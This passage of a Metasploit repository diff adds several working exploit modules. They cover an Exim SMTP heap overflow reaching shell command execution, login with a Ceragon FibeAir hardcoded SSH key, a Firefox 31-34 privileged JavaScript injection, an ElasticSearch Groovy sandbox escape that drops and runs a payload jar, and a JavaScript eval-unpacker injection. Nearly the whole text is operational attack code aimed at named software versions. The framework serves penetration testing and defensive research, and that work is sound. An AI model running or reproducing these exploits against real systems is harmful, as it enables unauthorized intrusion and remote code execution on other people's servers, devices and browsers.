MIN_HEAP_SHIFT) + fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0 + fail_with("infoleak", "write_offset") if (write_offset & 7) != 0 + fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/ + + smtp_connect + + # bulletproof Heap Feng Shui; the hard part is avoiding: + # "Too many syntax or protocol errors" (3) + # "Too many unrecognized commands" (3) + # "Too many nonmail commands" (10) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift) + smtp_recv(250) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1) + smtp_recv(250) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1) + smtp_recv(250) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1) + smtp_recv(250) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1) + smtp_recv(250) + + # overflow (3 bytes) gethostbyname's buffer, and + # overwrite its next_chunk's size field with 0x003?31 + # ^ last_digit + smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT) + begin # ^ 0x30 | PREV_INUSE + smtp_recv(HELO_CODES) + + smtp_send("RSET") + smtp_recv(250) + + smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024) + smtp_recv(503, 'sender not yet given') + + smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset) + smtp_recv(500, '\A500 unrecognized command\r\n\z') + + smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024) + smtp_recv(500, '\A500 unrecognized command\r\n\z') + + smtp_send("DATA") + reply = smtp_recv(503) + + lines = reply[:lines] + fail if lines.size <= 3 + fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n" + fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n" + fail if lines[-1] != "503 Too many syntax or protocol errors\r\n" + + # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting + # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed, + # but happens with lower probability) + + error = lines[+1..-3].join("") + error.sub!(/\A503-/mn, "") + error.sub!(/\r\n\z/mn, "") + error.gsub!(/\r\n503-/mn, "\n") + return error + + rescue + return nil + end + + ensure + smtp_disconnect + end + + def code_execution + print_status("Trying code execution...") + + # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore: + # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure + # that rogue child processes cannot use them. + + fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded + fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero? + # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes), + # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes). + encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&') + # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);" + command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}' + print_debug(command) + + # don't try to execute commands directly, try a very simple ACL first, + # to distinguish between exploitation-problems and shellcode-problems + + acldrop = "drop message=" + message = rand_text_alpha(command.length - acldrop.length) + acldrop += message + + max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64) + max_heap_addr = @leaked[:addr] + min_heap_addr = nil + survived = nil + + # we later fill log_buffer and big_buffer with alpha chars, + # which creates a safe-zone at the beginning of the heap, + # where we can't possibly crash during our brute-force + + # 4, because 3 copies of sender_helo_name, and step_len; + # start big, but refine little by little in case + # we crash because we overwrite important data + + helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4 + loop do + + sender_helo_name = "A" * helo_len + address = sprintf("[%s]:%d", @sender[:hostaddr], 65535) + + # the 3 copies of sender_helo_name, allocated by + # host_build_sender_fullhost() in POOL_PERM memory + + helo_ip_size = ALIGNMENT + + sender_helo_name[+1..-2].length + + sender_fullhost_size = ALIGNMENT + + sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length + + sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ? + sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) : + sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident]) + ).length + + # fit completely into the safe-zone + step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) - + (max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size) + loop do + + # inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer + # with alpha chars, which creates another safe-zone at the end of the heap) + heap_addr = max_heap_addr + loop do + + # try harder the first time around: we obtain better + # heap boundaries, and we usually hit our ACL faster + + (min_heap_addr ? 1 : 2).times do + + # try the same heap_addr several times, but with different random offsets, + # in case we crash because our hijacked storeblock's length field is too small + # (we don't control what's stored at heap_addr) + + rand_offset = rand(max_rand_offset) + print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}") + reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset) + print_debug("#{{ reply: reply }}") if reply + + if reply and + reply[:code] == "550" and + # detect the parsed ACL, not the "still in text form" ACL (with "=") + reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn + print_good("Brute-force SUCCESS") + print_good("Please wait for reply...") + # execute command this time, not acldrop + reply = try_code_execution(helo_len, command, heap_addr + rand_offset) + print_debug("#{{ reply: reply }}") + return handler + end + + if not min_heap_addr + if reply + fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE + survived = heap_addr + else + if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE + # survived should point to our safe-zone at the beginning of the heap + fail_with("codeexec", "never survived") if not survived + print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}" + min_heap_addr = survived + end + end + end + end + + heap_addr -= step_len + break if min_heap_addr and heap_addr < min_heap_addr + end + + break if step_len < 1024 + step_len /= 2 + end + + helo_len /= 2 + break if helo_len < 1024 + # ^ otherwise the 3 copies of sender_helo_name will + # fit into the current_block of POOL_PERM memory + end + fail_with("codeexec", "Brute-force FAILURE") + end + + # our write-what-where primitive + def try_code_execution(len, what, where) + fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len + fail_with("codeexec", "#{where} < 0") if where < 0 + + x86 = (@leaked[:arch] == ARCH_X86) + min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE)) + heap_shift = min_heap_shift + rand(1024 - min_heap_shift) + last_digit = 1 + rand(9) + + smtp_connect + + # fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars + smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE - + "501 : sender address must contain a domain\r\n\0".length) + smtp_recv(501, 'sender address must contain a domain') + + smtp_send("RSET") + smtp_recv(250) + + # bulletproof Heap Feng Shui; the hard part is avoiding: + # "Too many syntax or protocol errors" (3) + # "Too many unrecognized commands" (3) + # "Too many nonmail commands" (10) + + # / 5, because "\x7F" is non-print, and: + # ss = store_get(length + nonprintcount * 4 + 1); + smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5) + smtp_recv(500, '\A500 unrecognized command\r\n\z') + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1) + smtp_recv(250) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1) + smtp_recv(250) + + smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5) + smtp_recv(500, '\A500 unrecognized command\r\n\z') + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1) + smtp_recv(250) + + # overflow (3 bytes) gethostbyname's buffer, and + # overwrite its next_chunk's size field with 0x003?31 + # ^ last_digit + smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1) + smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE + + # auth_xtextdecode() is the only way to overwrite the beginning of a + # current_block of memory (the "storeblock" structure) with arbitrary data + # (so that our hijacked "next" pointer can contain NUL, CR, LF characters). + # this shapes the rest of our exploit: we overwrite the beginning of the + # current_block of POOL_PERM memory with the current_block of POOL_MAIN + # memory (allocated by auth_xtextdecode()). + + auth_prefix = rand_text_alpha(x86 ? 11264 : 11280) + (x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) } + auth_prefix += "." + + # also fill log_buffer with alpha chars + smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030) + smtp_recv(501, 'invalid data for AUTH') + + smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len) + begin + reply = smtp_recv(ANY_CODE) + return reply if reply[:code] !~ /#{HELO_CODES}/ + return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/ + + smtp_send("MAIL FROM:<>") + reply = smtp_recv(ANY_CODE) + return reply if reply[:code] != "250" + + smtp_send("RCPT TO:") + reply = smtp_recv + return reply + + rescue + return nil + end + + ensure + smtp_disconnect + end + + DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])' + DOT = '[.]' + + def smtp_connect(exploiting = true) + fail_with("smtp_connect", "sock isn't nil") if sock + + connect + fail_with("smtp_connect", "sock is nil") if not sock + @smtp_state = :recv + + # Receiving the banner (but we don't really need to check it) + smtp_recv(220) + return if not exploiting + + sender_host_address = datastore['SENDER_HOST_ADDRESS'] + if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/ + fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil? + fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)") + end + sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}" + + # turn helo_seen on (enable the MAIL command) + # call smtp_verify_helo() (force fopen() and small malloc()s) + # call host_find_byname() (force gethostbyname's initial 1024-byte malloc()) + smtp_send("HELO #{sender_host_address_octal}") + reply = smtp_recv(HELO_CODES) + + if reply[:code] != "250" + fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/ + fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)") + end + + if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn + fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3 + smtp_active_hostname = $1 + sender_host_name = $2 + + if sender_host_name =~ /\A(.*) at (\S*)\z/mn + sender_host_name = $2 + sender_ident = $1 + else + sender_ident = nil + end + fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal + + else + # can't double-check sender_host_address here, so only for advanced users + fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT'] + # worst-case scenario + smtp_active_hostname = "A" * NS_MAXDNAME + sender_host_name = "A" * NS_MAXDNAME + sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127)); + end + + _sender = @sender + @sender = { + hostaddr: sender_host_address, + hostaddr8: sender_host_address_octal, + hostname: sender_host_name, + ident: sender_ident, + __smtp_active_hostname: smtp_active_hostname + } + fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender + + # avoid a future pathological case by forcing it now: + # "Do NOT free the first successor, if our current block has less than 256 bytes left." + smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16) + smtp_recv(501, 'sender address must contain a domain') + + smtp_send("RSET") + smtp_recv(250, 'Reset OK') + end + + def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil) + fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send + @smtp_state = :sending + + if not arg_pattern + fail_with("smtp_send", "prefix is nil") if not prefix + fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length + command = prefix + + else + fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length + length = arg_length - arg_prefix.length - arg_suffix.length + fail_with("smtp_send", "len is #{length}") if length <= 0 + argument = arg_prefix + case arg_pattern + when String + argument += arg_pattern * (length / arg_pattern.length) + argument += arg_pattern[0, length % arg_pattern.length] + when Method + argument += arg_pattern.call(length) + end + argument += arg_suffix + fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length + command = prefix + argument + suffix + end + + fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0 + fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE + command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer + + # the following loop works around a bug in the put() method: + # "while (send_idx < send_len)" should be "while (send_idx < buf.length)" + # (or send_idx and/or send_len could be removed altogether, like here) + + while command and not command.empty? + num_sent = sock.put(command) + fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0 + fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length + command = command[num_sent..-1] + end + + @smtp_state = :recv + end + + def smtp_recv(expected_code = nil, expected_data = nil) + fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv + @smtp_state = :recving + + failure = catch(:failure) do + + # parse SMTP replies very carefully (the information + # leak injects arbitrary data into multiline replies) + + data = "" + while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn + begin + more_data = sock.get_once + rescue + throw(:failure, "Caught #{$!.class}: #{$!.message}") + end + throw(:failure, "no more data") if more_data.nil? + throw(:failure, "no more data") if more_data.empty? + data += more_data + end + + throw(:failure, "malformed reply (count)") if data.count("\0") > 0 + lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn) + throw(:failure, "malformed reply (empty)") if lines.empty? + + code = nil + lines.size.times do |i| + lines[i].sub!(/\A\r\n/mn, "") + lines[i] += "\r\n" + + if i == 0 + code = lines[i][0,3] + throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn + if expected_code and code !~ /\A(#{expected_code})\z/mn + throw(:failure, "unexpected #{code}, expected #{expected_code}") + end + end + + line_begins_with = lines[i][0,4] + line_should_begin_with = code + (i == lines.size-1 ? " " : "-") + + if line_begins_with != line_should_begin_with + throw(:failure, "line begins with #{line_begins_with}, " \ + "should begin with #{line_should_begin_with}") + end + end + + throw(:failure, "malformed reply (join)") if lines.join("") != data + if expected_data and data !~ /#{expected_data}/mn + throw(:failure, "unexpected data") + end + + reply = { code: code, lines: lines } + @smtp_state = :send + return reply + end + + fail_with("smtp_recv", "#{failure}") if expected_code + return nil + end + + def smtp_disconnect + disconnect if sock + fail_with("smtp_disconnect", "sock isn't nil") if sock + @smtp_state = :disconnected + end +end diff --git a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb new file mode 100644 index 0000000000..04bcf198d2 --- /dev/null +++ b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Exploit::Remote + include Msf::Auxiliary::Report + + Rank = ExcellentRanking + + def initialize(info = {}) + super(update_info(info, { + 'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure', + 'Description' => %q{ + Ceragon ships a public/private key pair on FibeAir IP-10 devices + that allows passwordless authentication to any other IP-10 device. + Since the key is easily retrievable, an attacker can use it to + gain unauthorized remote access as the "mateidu" user. + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Targets' => [ [ "Universal", {} ] ], + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'Author' => [ + 'hdm', # Discovery + 'todb' # Metasploit module and advisory text (mostly copy-paste) + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-0936'], + ['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure + ['URL', 'https://hdm.io/blog/2015/01/20/partial-disclosure-is-annoying'] # Related issue with hardcoded user:pass + ], + 'DisclosureDate' => "Apr 01 2015", # Not a joke + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'DefaultTarget' => 0 + })) + + register_options( + [ + # Since we don't include Tcp, we have to register this manually + Opt::RHOST(), + Opt::RPORT(22) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + + end + + # helper methods that normally come from Tcp + def rhost + datastore['RHOST'] + end + def rport + datastore['RPORT'] + end + + def do_login(user) + opt_hash = { + :auth_methods => ['publickey'], + :msframework => framework, + :msfmodule => self, + :port => rport, + :key_data => [ key_data ], + :disable_agent => true, + :config => false, + :record_auth_info => true, + :proxies => datastore['Proxies'] + } + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + begin + ssh_socket = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh_socket = Net::SSH.start(rhost, user, opt_hash) + end + rescue Rex::ConnectionError + return nil + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return nil + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return nil + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication" + return nil + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return nil + end + + if ssh_socket + + # Create a new session from the socket, then dump it. + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) + ssh_socket = nil + + return conn + else + return nil + end + end + + def exploit + conn = do_login("mateidu") + if conn + print_good "#{rhost}:#{rport} - Successful login" + handler(conn.lsock) + end + end + + def key_data + < 'Firefox Proxy Prototype Privileged Javascript Injection', + 'Description' => %q{ + This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect + component and gaining a reference to the privileged chrome:// window. This exploit + requires the user to click anywhere on the page to trigger the vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'joev' # discovery and metasploit module + ], + 'DisclosureDate' => "Jan 20 2014", + 'References' => [ + ['CVE', '2014-8636'], + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ] + + ], + 'Targets' => [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::FF, + :ua_ver => lambda { |ver| ver.to_i.between?(31, 34) } + } + )) + + register_options([ + OptString.new('CONTENT', [ false, "Content to display inside the HTML ." ]) + ], self.class) + end + + def on_request_exploit(cli, request, target_info) + send_response_html(cli, generate_html(target_info)) + end + + def default_html + "The page has moved. Click here to be redirected." + end + + def generate_html(target_info) + key = Rex::Text.rand_text_alpha(5 + rand(12)) + frame = Rex::Text.rand_text_alpha(5 + rand(12)) + r = Rex::Text.rand_text_alpha(5 + rand(12)) + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin + + js = js_obfuscate %Q| + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + var props = {}; + props.has = function(n){ + if (!window.top.x && n=='nodeType') { + window.top.x=window.open("chrome://browser/content/browser.xul", "x", + "chrome,,top=-9999px,left=-9999px,height=100px,width=100px"); + if (window.top.x) { + Object.setPrototypeOf(document, pro); + setTimeout(function(){ + x.location='data:text/html,'; + + setTimeout(function(){ + x.messageManager.loadFrameScript('data:,'+key, false); + setTimeout(function(){ + x.close(); + }, 100) + }, 100) + }, 100); + } + } + } + var pro = Object.getPrototypeOf(document); + Object.setPrototypeOf(document, Proxy.create(props)); + | + + %Q| + + + + + #{datastore['CONTENT'] || default_html} + + + | + end +end diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index 2033a79df3..f76342cdbf 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote send_redirect(cli, "#{get_resource}/") else # user has navigated - print_status("Sending response HTML." ) + print_status("Sending HTML response." ) send_response_html(cli, generate_html) end end diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index c8c789f6f2..d6fb488e75 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -100,23 +100,32 @@ class Metasploit3 < Msf::Exploit::Remote end def vulnerable? - addend_one = rand_text_numeric(rand(3) + 1).to_i - addend_two = rand_text_numeric(rand(3) + 1).to_i - sum = addend_one + addend_two + java = 'System.getProperty("java.class.path")' - java = java_sum([addend_one, addend_two]) + vprint_status("#{peer} - Trying to execute 'System.getProperty(\"java.version\")'...") res = execute(java) result = parse_result(res) if result.nil? + vprint_status("#{peer} - No results for the Java test") return false + elsif result =~ /elasticsearch/ + vprint_status("#{peer} - Answer to Java test: #{result}") + return true else - result.to_i == sum + vprint_status("#{peer} - Answer to Java test: #{result}") + return false end end def parse_result(res) - unless res && res.code == 200 && res.body + unless res + vprint_error("#{peer} no response") + return nil + end + + unless res.code == 200 && res.body + vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)") return nil end @@ -127,20 +136,12 @@ class Metasploit3 < Msf::Exploit::Remote end begin - result = json['hits']['hits'][0]['fields']['msf_result'][0] + result = json['hits']['hits'][0]['fields']['msf_result'] rescue return nil end - result - end - - def java_sum(summands) - source = <<-EOF -#{summands.join(" + ")} - EOF - - source + result.is_a?(::Array) ? result.first : result end def to_java_byte_array(str) diff --git a/modules/exploits/multi/elasticsearch/search_groovy_script.rb b/modules/exploits/multi/elasticsearch/search_groovy_script.rb new file mode 100644 index 0000000000..376acef76a --- /dev/null +++ b/modules/exploits/multi/elasticsearch/search_groovy_script.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ElasticSearch Search Groovy Sandbox Bypass', + 'Description' => %q{ + This module exploits a remote command execution (RCE) vulnerability in ElasticSearch, + exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the + REST API, which does not require authentication, where the search function allows + groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName + to reference arbitrary classes. It can be used to execute arbitrary Java code. This + module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04. + }, + 'Author' => + [ + 'Cameron Morris', # Vulnerability discovery + 'Darren Martyn', # Public Exploit + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-1427'], + ['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'], + ['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'], + ['URL', 'http://drops.wooyun.org/papers/5107'] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + ['ElasticSearch 1.4.2', {}] + ], + 'DisclosureDate' => 'Feb 11 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(9200), + OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"]) + ], self.class) + end + + def check + result = Exploit::CheckCode::Safe + + if vulnerable? + result = Exploit::CheckCode::Vulnerable + end + + result + end + + def exploit + print_status("#{peer} - Checking vulnerability...") + unless vulnerable? + fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") + end + + print_status("#{peer} - Discovering TEMP path...") + res = execute(java_tmp_dir) + tmp_dir = parse_result(res) + if tmp_dir.nil? + fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") + else + print_good("#{peer} - TEMP path on '#{tmp_dir}'") + end + + print_status("#{peer} - Discovering remote OS...") + res = execute(java_os) + os = parse_result(res) + if os.nil? + fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") + else + print_good("#{peer} - Remote OS is '#{os}'") + end + + if os =~ /win/i + tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar" + else + tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar") + end + + register_files_for_cleanup(tmp_file) + + print_status("#{peer} - Trying to load metasploit payload...") + java = java_load_class(os, tmp_file) + execute(java) + end + + def vulnerable? + java = 'java.lang.Math.class.forName("java.lang.Runtime")' + + vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...") + res = execute(java) + result = parse_result(res) + + if result.nil? + vprint_status("#{peer} - no response to test") + return false + elsif result == 'class java.lang.Runtime' + return true + end + + false + end + + def parse_result(res) + unless res + vprint_error("#{peer} - No response") + return nil + end + + unless res.code == 200 && res.body + vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)") + return nil + end + + begin + json = JSON.parse(res.body.to_s) + rescue JSON::ParserError + return nil + end + + begin + result = json['hits']['hits'][0]['fields']['msf_result'] + rescue + return nil + end + + result.is_a?(::Array) ? result.first : result + end + + def java_tmp_dir + 'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")' + end + + def java_os + 'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")' + end + + def java_load_class(os, tmp_file) + if os =~ /win/i + tmp_file.gsub!(/\\/, '\\\\\\\\') + end + + java = [ + 'c=java.lang.Math.class.forName("java.io.FileOutputStream");', + 'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");', + "i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");", + 'b64_i=b64.newInstance();', + "i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));", + 'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");', + 'file_class=java.lang.Math.class.forName("java.io.File");', + "file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();", + 'loader=loader_class.newInstance();', + 'loader.addURL(file_url);', + 'm=loader.loadClass(\'metasploit.Payload\');', + 'm.main(null);' + ] + + java.join + end + + def execute(java, timeout = 20) + payload = { + "size" => 1, + "query" => { + "filtered" => { + "query" => { + "match_all" => {} + } + } + }, + "script_fields" => { + "msf_result" => { + "script" => java + } + } + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s, "_search"), + 'method' => 'POST', + 'data' => JSON.generate(payload) + }, timeout) + + res + end + +end diff --git a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb new file mode 100644 index 0000000000..1e15976eb4 --- /dev/null +++ b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb @@ -0,0 +1,47 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/jsobfu' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::JSObfu + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Javascript Injection for Eval-based Unpackers', + 'Description' => %q{ + This module generates a Javascript file that executes arbitrary code + when an eval-based unpacker is run on it. Works against js-beautify's + P_A_C_K_E_R unpacker. + }, + 'Author' => [ 'joev' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Platform' => 'nodejs', + 'Arch' => ARCH_NODEJS, + 'Privileged' => false, + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => 'Feb 18 2015', + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('FILENAME', [true, 'The file name.', 'msf.js']), + OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.']) + ], self.class) + end + + def exploit + p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded); + print_status("Creating '#{datastore['FILENAME']}' file...") + file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))") + end + +end diff --git 